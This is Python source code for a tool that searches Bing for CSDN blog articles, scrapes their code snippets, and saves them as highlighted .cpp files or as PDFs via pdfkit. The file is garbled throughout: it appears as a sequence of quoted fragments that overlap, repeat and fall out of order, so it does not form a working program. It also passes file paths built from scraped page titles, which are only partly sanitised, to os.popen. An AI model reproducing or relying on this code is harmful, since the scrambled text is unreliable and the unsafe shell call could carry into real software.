print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。')", "codecs.unicode_escape_decode(x)[0] else: from urllib.request import getproxies from urllib.parse import quote", "= pq(html[-1]) s = node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s)", "v in dic.items() if _is_article(v)} # return confirm_dict def _get_dict(self,", "import time from retrying import retry from pygments import highlight", "Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) ' 'Chrome/19.0.1084.46", "} main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]',", "= VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e: print('[ERROR] Encountered an SSL", "return re.search('article/details/\\d+', link) # # question_links = [link for link", "rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100", "_is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k: v for", "open(filePath, 'w')as f: f.write(code) print('[*]save successfully...') try: self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。')", "from pygments.lexers import CppLexer from pygments.formatters.terminal import TerminalFormatter from pygments.util", "concurrent import futures import pdfkit import time from retrying import", "(KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data = self.whoami() def", "successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: #", "CppLexer from pygments.formatters.terminal import TerminalFormatter from pygments.util import ClassNotFound from", "return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url): try: return requests.get(url,", "') print(v) num += 1 class Blog(Result): def __init__(self, host,", "self.links = list(self.data.values()) def show_code(self): url = list(self.data.values())[self.args['print']] main_page =", "filePath) self._save_to_pdf(html,filePath) print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed')", "pass # if args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf'", "urllib.request import getproxies from urllib.parse import quote as url_quote def", "'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0', #", "try: return self.confirm_links() or 'Sorry, couldn\\'t find any help with", "< '3': import codecs from urllib import quote as url_quote", "query): search_url = self._search_url.format(self.host, url_quote(query)) # search_url : site:blog.csdn.net 1173", "'cookie-value2'), ], 'outline-depth': 10, } main_page = self._parse_url(url) title =", "requests import sys from concurrent import futures import pdfkit import", "= [] ans_split = '\\n' + '<==>' * 17 +", "# 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh;", "Encountered an SSL Error.\\n') print('[*]retrying again automatically ') raise e", "not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title + '.cpp') if", "as url_quote from urllib import getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414", "x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0 (Windows NT 6.1;", "code return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split = '\\n'", "s = self._get_code(main_page, self.args) if not s: print('sorry , this", "self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path", "def _add_color(code, args): if not args['color']: return code lexer =", "from concurrent import futures import pdfkit import time from retrying", "{k: v for k, v in dic.items() if _is_article(v)} #", "def __init__(self, host, args): super().__init__(host, args) self.links = list(self.data.values()) def", "return False def _parse_url(self, url): ''' :param url: 网页url :return:", "# verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e: print('[ERROR] Encountered", "main_page, args): ''' :param main_page:main_page=_parse_url(url) :param args: args :return: str", "urllib.parse import quote as url_quote def u(x): return x scripFilePath", "article return html('.blog-content-box') def _get_code(self, main_page, args): ''' :param main_page:main_page=_parse_url(url)", "print('[ERROR] Encountered an SSL Error.\\n') print('[*]retrying again automatically ') raise", "# # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k: v for k,", "for a in html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text) name =", "dic[name] = str(link) # num+=1 return dic def show_results(self): if", "101 Firefox/22.0', # 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0',", "(X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0", "anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url): try: return", "e: print('[ERROR] Encountered an SSL Error.\\n') print('[*]retrying again automatically ')", "= self.whoami() def __call__(self, *args, **kwargs): return self.show_results() def __len__(self):", "self.args['open_pdf']: return try: if len(self.args['save']): return False except TypeError as", "highlight from pygments.lexers import guess_lexer, get_lexer_by_name from pygments.lexers import CppLexer", "args): self.args = args self.host = host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}'", "any help with that topic\\n' except (ConnectionError, SSLError): return 'Failed", "return dic # def _is_article(link): # return re.search('article/details/\\d+', link) #", "html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text) name = a.text link =", "[ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10, } main_page", "s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else: node = pq(html[-1]) s", "a.attrib['href'] dic[name] = str(link) # num+=1 return dic def show_results(self):", "retry from pygments import highlight from pygments.lexers import guess_lexer, get_lexer_by_name", "import re import requests import sys from concurrent import futures", "return codecs.unicode_escape_decode(x)[0] else: from urllib.request import getproxies from urllib.parse import", "# if args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf' os.popen(pdf_path)", "self._get_code(main_page, self.args) or 'sorry,this article has no code...' print(s) def", "'.pdf') if self._test_is_open_if_exists(filePath): return try: print('[*] save to ', filePath)", "filepath, configuration=config) def open_after_save(self, pdf_path): if not self.args['open_pdf']: return try:", "html: return None ans = [] ans_split = '\\n' +", "args['all_code']: for node in html: node = pq(node) s =", "shutil import random import re import requests import sys from", "= {} for a in html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text)", "self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html", "'<') ans.append(self._add_color(s, args)) else: node = pq(html[-1]) s = node.html()", "return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split = '\\n' +", "'\\n' if args['all_code']: for node in html: node = pq(node)", "pq(result) # return the anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def", "' '.join(self.args['query']).replace('?', '') try: return self.confirm_links() or 'Sorry, couldn\\'t find", "args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self,", "_get_dict(self, query): search_url = self._search_url.format(self.host, url_quote(query)) # search_url : site:blog.csdn.net", "ClassNotFound: return code return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split", "or 'Sorry, couldn\\'t find any help with that topic\\n' except", "raise e def _extract_links(self, html, search_engine): if search_engine == 'bing':", "__init__(self, host, args): super().__init__(host, args) self.links = list(self.data.values()) def show_code(self):", "return len(self.data) def whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?', '') try:", "def __len__(self): return len(self.data) def whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?',", "charset=utf-8\" /> </head> <body> <!-- <center><h1>{title}</h1></center> --> {content} </body> </html>", "**kwargs): return self.show_results() def __len__(self): return len(self.data) def whoami(self): self.args['query']", "os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title + '.cpp') if self._test_is_open_if_exists(filePath):", "aiohttp import asyncio import time import time import argparse import", "loves Annabelle forever~', content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath =", "not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title + '.pdf') if", "], 'outline-depth': 10, } main_page = self._parse_url(url) title = main_page('h1').eq(0).text()", "self._parse_url(url) s = self._get_code(main_page, self.args) or 'sorry,this article has no", "node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;', '>').replace('&lt;',", "help with that topic\\n' except (ConnectionError, SSLError): return 'Failed to", "return confirm_dict def _get_dict(self, query): search_url = self._search_url.format(self.host, url_quote(query)) #", "= { 'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in',", "17 + '\\n' url = self.links[self.args['number_link']] main_page = self._parse_url(url) title", "self.args) if not s: print('sorry , this article has no", "else: node = pq(html[-1]) s = node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>',", "args: args :return: str ''' html = main_page('article')('pre')('code') or main_page('article')('pre')", "s = node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s =", ":return: 返回网页的主要区域的pyquery ''' page = self._get_result(url) html = pq(page) #", "import ClassNotFound from pyquery import PyQuery as pq from requests.exceptions", "main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.',", "os import shutil import random import re import requests import", "scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def", "return None ans = [] ans_split = '\\n' + '<==>'", "__call__(self, *args, **kwargs): return self.show_results() def __len__(self): return len(self.data) def", "in dic.items() if _is_article(v)} # return confirm_dict def _get_dict(self, query):", "url): html_template = u\"\"\" <!DOCTYPE html> <html> <head> <meta charset=\"utf-8\"", "filePath = os.path.join(PDF_DIR, title + '.pdf') if self._test_is_open_if_exists(filePath): return try:", "no code...' print(s) def save_to_pdf(self, url): html_template = u\"\"\" <!DOCTYPE", "except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path =", "'<==>' * 17 + '\\n' if args['all_code']: for node in", "if self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1] with open(filePath, 'w')as f:", "= pq(result) # return the anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3)", "search_engine): if search_engine == 'bing': return self._extract_dict_from_bing(html) return None @staticmethod", "re import requests import sys from concurrent import futures import", "/> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head> <body> <!-- <center><h1>{title}</h1></center>", "Blog(Result): def __init__(self, host, args): super().__init__(host, args) self.links = list(self.data.values())", "host, args): self.args = args self.host = host self._search_url =", "re.search('article/details/\\d+', link) # # question_links = [link for link in", "name = a.text link = a.attrib['href'] dic[name] = str(link) #", "</html> \"\"\" options = { 'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right':", "import quote as url_quote from urllib import getproxies # Handling", "='[*{0}*] {1}'.format(str(num),a.text) name = a.text link = a.attrib['href'] dic[name] =", "print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod", "e: pass if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True", "self.args) or 'sorry,this article has no code...' print(s) def save_to_pdf(self,", "for link in links if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 #", "pygments.util import ClassNotFound from pyquery import PyQuery as pq from", "getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0] else:", "file_path): try: if len(self.args['save']): return False except TypeError as e:", "1 class Blog(Result): def __init__(self, host, args): super().__init__(host, args) self.links", "') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。", "main part of the article return html('.blog-content-box') def _get_code(self, main_page,", "link in links if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict", "x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir')", "\"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip') ], 'cookie': [ ('cookie-name1', 'cookie-value1'),", "return ans_split.join(ans) @staticmethod def _add_color(code, args): if not args['color']: return", "import os import shutil import random import re import requests", "f: f.write(code) print('[*]save successfully...') try: self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]open failed')", "name ='[*{0}*] {1}'.format(str(num),a.text) name = a.text link = a.attrib['href'] dic[name]", "from urllib.request import getproxies from urllib.parse import quote as url_quote", "e def _extract_links(self, html, search_engine): if search_engine == 'bing': return", "list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s = self._get_code(main_page, self.args) or 'sorry,this", "num += 1 class Blog(Result): def __init__(self, host, args): super().__init__(host,", "'\\n' + '<==>' * 17 + '\\n' if args['all_code']: for", "= self._search_url.format(self.host, url_quote(query)) # search_url : site:blog.csdn.net 1173 HDU result", "Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data = self.whoami() def __call__(self, *args, **kwargs):", "'Failed to establish network connection\\n' def confirm_links(self): dic = self._get_dict(self.args['query'])", "s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod", "forever~', content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title", "= html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR)", "re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args))", "save to ', filePath) self._save_to_pdf(html,filePath) print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突')", "has no code...' print(s) def save_to_pdf(self, url): html_template = u\"\"\"", "random.choice(self._USER_AGENTS)}, ).text # verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e:", "<head> <meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head>", "print(k, end=' [*link*] ') print(v) num += 1 class Blog(Result):", "('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10, } main_page =", ":param args: args :return: str ''' html = main_page('article')('pre')('code') or", "as e: pass if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return", "for k, v in dic.items() if _is_article(v)} # return confirm_dict", "verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e: print('[ERROR] Encountered an", "except requests.exceptions.SSLError as e: print('[ERROR] Encountered an SSL Error.\\n') print('[*]retrying", "and PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path):", "again automatically ') raise e def _extract_links(self, html, search_engine): if", "(Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac", "True else: return False def _parse_url(self, url): ''' :param url:", "import guess_lexer, get_lexer_by_name from pygments.lexers import CppLexer from pygments.formatters.terminal import", "'') try: return self.confirm_links() or 'Sorry, couldn\\'t find any help", "host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel Mac", "return self._extract_dict_from_bing(html) return None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic =", "in self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k, end=' [*link*] ') print(v)", "'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10, } main_page = self._parse_url(url)", "+= '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try: if len(self.args['save']): return", "<!-- <center><h1>{title}</h1></center> --> {content} </body> </html> \"\"\" options = {", "not html: return None ans = [] ans_split = '\\n'", "== 'bing': return self._extract_dict_from_bing(html) return None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces()", "headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as", "html('.blog-content-box') def _get_code(self, main_page, args): ''' :param main_page:main_page=_parse_url(url) :param args:", "= re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s = self._get_code(main_page, self.args) if not", "return None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic = {} for", "end=' [*link*] ') print(v) num += 1 class Blog(Result): def", "'\\n' url = self.links[self.args['number_link']] main_page = self._parse_url(url) title = main_page('h1').eq(0).text()", "from urllib.parse import quote as url_quote def u(x): return x", "url: 网页url :return: 返回网页的主要区域的pyquery ''' page = self._get_result(url) html =", "'\\n' + '<==>' * 17 + '\\n' url = self.links[self.args['number_link']]", "'custom-header': [ ('Accept-Encoding', 'gzip') ], 'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2',", "confirm_dict = {k: v for k, v in dic.items() if", "or main_page('article')('pre') if not html: return None ans = []", "html = pq(result) # return the anser_list return self._extract_links(html, 'bing')", "if not args['color']: return code lexer = None try: lexer", "<center><h1>{title}</h1></center> --> {content} </body> </html> \"\"\" options = { 'page-size':", "* 17 + '\\n' if args['all_code']: for node in html:", "False '''先不检验。。测试多个域名。。''' return dic # def _is_article(link): # return re.search('article/details/\\d+',", "= 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel Mac OS X", "len(self.args['save']): return False except TypeError as e: pass if self.args['open_pdf']:", "import PyQuery as pq from requests.exceptions import ConnectionError from requests.exceptions", "dic: return False '''先不检验。。测试多个域名。。''' return dic # def _is_article(link): #", "_extract_dict_from_bing(html): html.remove_namespaces() dic = {} for a in html('.b_algo')('h2')('a'): #", "= '\\n' + '<==>' * 17 + '\\n' if args['all_code']:", "as e: pass # if args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath", "html> <html> <head> <meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"", "''' page = self._get_result(url) html = pq(page) # the main", "CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split = '\\n' + '<==>' *", "as pq from requests.exceptions import ConnectionError from requests.exceptions import SSLError", "= self._parse_url(url) s = self._get_code(main_page, self.args) or 'sorry,this article has", "__init__(self, host, args): self.args = args self.host = host self._search_url", "_extract_links(self, html, search_engine): if search_engine == 'bing': return self._extract_dict_from_bing(html) return", "(KHTML, like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT", "pdfkit import time from retrying import retry from pygments import", "class Result(object): def __init__(self, host, args): self.args = args self.host", "Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5", "TerminalFormatter from pygments.util import ClassNotFound from pyquery import PyQuery as", "\"\"\" options = { 'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in',", "not args['color']: return code lexer = None try: lexer =", "whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?', '') try: return self.confirm_links() or", "node = pq(html[-1]) s = node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '',", "# return confirm_dict def _get_dict(self, query): search_url = self._search_url.format(self.host, url_quote(query))", "if self._test_is_open_if_exists(filePath): return try: print('[*] save to ', filePath) self._save_to_pdf(html,filePath)", "str ''' html = main_page('article')('pre')('code') or main_page('article')('pre') if not html:", "html: node = pq(node) s = node.html() # s=re.sub('</?[^>]+>','',s) s", "= s.split(ans_split)[-1] with open(filePath, 'w')as f: f.write(code) print('[*]save successfully...') try:", "--> {content} </body> </html> \"\"\" options = { 'page-size': 'Letter',", "if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title + '.pdf')", ") self.data = self.whoami() def __call__(self, *args, **kwargs): return self.show_results()", "ans = [] ans_split = '\\n' + '<==>' * 17", "html, search_engine): if search_engine == 'bing': return self._extract_dict_from_bing(html) return None", "= pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self, pdf_path): if not", "self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url): try: return requests.get(url, headers={'User-Agent':", "SSLError): return 'Failed to establish network connection\\n' def confirm_links(self): dic", "if not html: return None ans = [] ans_split =", "numbers if sys.version < '3': import codecs from urllib import", "os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True else: return False def _parse_url(self,", "@retry(stop_max_attempt_number=3) def _get_result(self, url): try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text", "# name ='[*{0}*] {1}'.format(str(num),a.text) name = a.text link = a.attrib['href']", "# s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;',", "in links if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict =", "time from retrying import retry from pygments import highlight from", "os.popen(file_path) return True else: return False def _parse_url(self, url): '''", "TypeError as e: pass # if args['pdf'] and PDFpath.split('.')[-1]!='pdf': #", ", this article has no code...') print('please try another...') return", "title + '.pdf') if self._test_is_open_if_exists(filePath): return try: print('[*] save to", "from pygments import highlight from pygments.lexers import guess_lexer, get_lexer_by_name from", "Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), )", "{} for a in html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text) name", "filepath): wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html,", "pdf_path): if not self.args['open_pdf']: return try: if len(self.args['save']): return False", "os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title + '.cpp') if self._test_is_open_if_exists(filePath): return", "else: return False def _parse_url(self, url): ''' :param url: 网页url", "end='') print(k, end=' [*link*] ') print(v) num += 1 class", "Firefox/22.0', # 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0", "NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data", "https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k: v for k, v in", "返回网页的主要区域的pyquery ''' page = self._get_result(url) html = pq(page) # the", "u(x): return codecs.unicode_escape_decode(x)[0] else: from urllib.request import getproxies from urllib.parse", "__len__(self): return len(self.data) def whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?', '')", "ans_split = '\\n' + '<==>' * 17 + '\\n' if", "+ '.cpp') if self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1] with open(filePath,", "<html> <head> <meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />", "@staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic = {} for a in", "import highlight from pygments.lexers import guess_lexer, get_lexer_by_name from pygments.lexers import", "main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s = self._get_code(main_page, self.args)", "args) self.links = list(self.data.values()) def show_code(self): url = list(self.data.values())[self.args['print']] main_page", "SSLError import numbers if sys.version < '3': import codecs from", "except (ConnectionError, SSLError): return 'Failed to establish network connection\\n' def", "str(link) # num+=1 return dic def show_results(self): if isinstance(self.data,str): print('[!!]", "import CppLexer from pygments.formatters.terminal import TerminalFormatter from pygments.util import ClassNotFound", "if search_engine == 'bing': return self._extract_dict_from_bing(html) return None @staticmethod def", "def _is_article(link): # return re.search('article/details/\\d+', link) # # question_links =", "+ '<==>' * 17 + '\\n' url = self.links[self.args['number_link']] main_page", "site:blog.csdn.net 1173 HDU result = self._get_result(search_url) html = pq(result) #", "pygments.lexers import guess_lexer, get_lexer_by_name from pygments.lexers import CppLexer from pygments.formatters.terminal", "SSL Error.\\n') print('[*]retrying again automatically ') raise e def _extract_links(self,", "'gzip') ], 'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth':", "self.args = args self.host = host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS", "for k, v in self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k, end='", "import aiohttp import asyncio import time import time import argparse", "requests.exceptions import SSLError import numbers if sys.version < '3': import", "Error.\\n') print('[*]retrying again automatically ') raise e def _extract_links(self, html,", "@staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config", "import argparse import glob import os import shutil import random", "return True else: return False def _parse_url(self, url): ''' :param", "'/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self, pdf_path):", "Ubuntu; Linux x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0 (Windows", "+ '\\n' url = self.links[self.args['number_link']] main_page = self._parse_url(url) title =", "has no code...') print('please try another...') return if not os.path.exists(CPP_DIR):", "return the anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url):", "'Sorry, couldn\\'t find any help with that topic\\n' except (ConnectionError,", "args): super().__init__(host, args) self.links = list(self.data.values()) def show_code(self): url =", "print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except:", "= args self.host = host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS =", "to establish network connection\\n' def confirm_links(self): dic = self._get_dict(self.args['query']) if", "glob import os import shutil import random import re import", "title) s = self._get_code(main_page, self.args) if not s: print('sorry ,", "os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self, host, args):", "else: from urllib.request import getproxies from urllib.parse import quote as", "ConnectionError from requests.exceptions import SSLError import numbers if sys.version <", "dic = {} for a in html('.b_algo')('h2')('a'): # name ='[*{0}*]", "{content} </body> </html> \"\"\" options = { 'page-size': 'Letter', 'margin-top':", ":param url: 网页url :return: 返回网页的主要区域的pyquery ''' page = self._get_result(url) html", "'''先不检验。。测试多个域名。。''' return dic # def _is_article(link): # return re.search('article/details/\\d+', link)", "time import argparse import glob import os import shutil import", "('Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46'", "= list(self.data.values()) def show_code(self): url = list(self.data.values())[self.args['print']] main_page = self._parse_url(url)", "save_to_cpp(self): ans_split = '\\n' + '<==>' * 17 + '\\n'", "[] ans_split = '\\n' + '<==>' * 17 + '\\n'", "os.path.join(PDF_DIR, title + '.pdf') if self._test_is_open_if_exists(filePath): return try: print('[*] save", "or 'sorry,this article has no code...' print(s) def save_to_pdf(self, url):", "asyncio import time import time import argparse import glob import", "<!DOCTYPE html> <html> <head> <meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html;", "url_quote def u(x): return x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR =", "Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100 101", "code...') print('please try another...') return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath", "'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding':", "= str(link) # num+=1 return dic def show_results(self): if isinstance(self.data,str):", "pq from requests.exceptions import ConnectionError from requests.exceptions import SSLError import", "print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。')", "def open_after_save(self, pdf_path): if not self.args['open_pdf']: return try: if len(self.args['save']):", "0 for k, v in self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k,", "network connection\\n' def confirm_links(self): dic = 